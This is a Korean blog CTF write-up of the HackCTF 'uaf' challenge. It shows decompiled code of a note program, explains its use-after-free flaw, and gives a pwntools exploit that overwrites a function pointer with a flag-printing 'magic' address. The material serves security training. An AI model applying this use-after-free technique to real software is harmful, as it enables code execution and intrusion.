가장 처음 uaf를 풀었을 때와 다른 방법으로 풀어버렸다.
처음 heap에 접했을 때는 break point를 걸은 후 chunk 할당을 보면서 풀었지만 이번에는 이런 식으로 할당되겠다고 생각하면서 풀어보았다.
Writeup
File information
Code
Main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts(&byte_8048D08);
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
1번이 add_note, 2번이 del_note, 3번이 print_note, 4번이 exit함수가 호출된다.
add_note
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts(aAllocate);
exit(-1);
}
*notelist[i] = print_note_content;
printf(&format);
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*(notelist[i] + 1) )
{
puts(aAllocate);
exit(-1);
}
printf(&byte_8048BC5);
read(0, *(notelist[i] + 1), size);
puts(&byte_8048BCE);
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
count로 note를 5개까지 만들 수 있도록 제한하고, notelist로 생성한 chunk를 순서대로 관리를 한다. (무조건 0~4)
생성 시 size에는 제한이 없으며, 입력한 size만큼 데이터를 입력할 수 있다.
마지막으로 count를 1 늘리며 종료된다.
del_note
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts(&byte_8048BE0);
_exit(0);
}
if ( notelist[v1] )
{
free(*(notelist[v1] + 1));
free(notelist[v1]);
puts(&byte_8048BCE);
}
return __readgsdword(0x14u) ^ v3;
}
index를 지정하여 해당 chunk를 free 시킨다.
free는 유저가 size를 지정해서 할당한 chunk -> notelist chunk 순으로 free 된다.
free를 해도 해당 notelist[] 안에는 주소가 남아있어 악의적으로 이용 가능하다.
print_note
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts(&byte_8048BE0);
_exit(0);
}
if ( notelist[v1] )
(*notelist[v1])(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
del_note와 마찬가지로 index를 지정하여 해당 index chunk에 첫 4바이트에 값을 실행 (?) 하게 된다.
위 예제에 print_note_content를 notelist[v1]을 인자로 실행한다고 생각하면 된다.
print_note_content
int __cdecl print_note_content(int a1){
return puts(*(a1 + 4));
}
magic
int magic(){
return system("cat /home/uaf/flag");
}
flag를 얻을 수 있는 magic함수이다.
Exploit
fastbin 크기의 chunk를 2번 할당해준 후 free 해주었다 이후 largebin 이상의 크기를 할당을 해주어 두 번째로 할당되었던 chunk의 print_note_content 부분에 magic을 넣어준 후 print_note함수를 호출해 flag를 얻었다.
large bin 이상의 크기를 할당해준 것은 fastbin을 비우기 위해서이다. large bin 이상의 크기를 할당해주면 앞으로 fastbin크기의 할당이 없다고 생각하여 fastbin을 비웠던 설계로 되어있던 거로 기억한다...
exploit code
from pwn import *
p=remote("ctf.j0n9hyun.xyz", 3020)
def malloc(size,data):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",data)
def delete(num):
p.sendlineafter(":","2")
p.sendlineafter("Index :",str(num))
def printf(num):
p.sendlineafter(":","3")
p.sendlineafter("Index :",str(num))
magic = 0x08048986
py = "A"*16
py += p32(magic)
dummy = "A"*4
malloc(8,dummy)
malloc(8,dummy)
delete(1)
delete(0)
malloc(600,py)
printf(1)
p.interactive()
'Pwnable > hackCTF' 카테고리의 다른 글
babyfsb (64bit fsb) (0) | 2020.03.23 |
---|---|
you_are_silver (64bit fsb) (0) | 2020.03.21 |
훈폰정음 (0) | 2020.03.10 |
풍수지리설 (2) | 2020.03.04 |
HackCTF Beginner_Heap (0) | 2020.01.22 |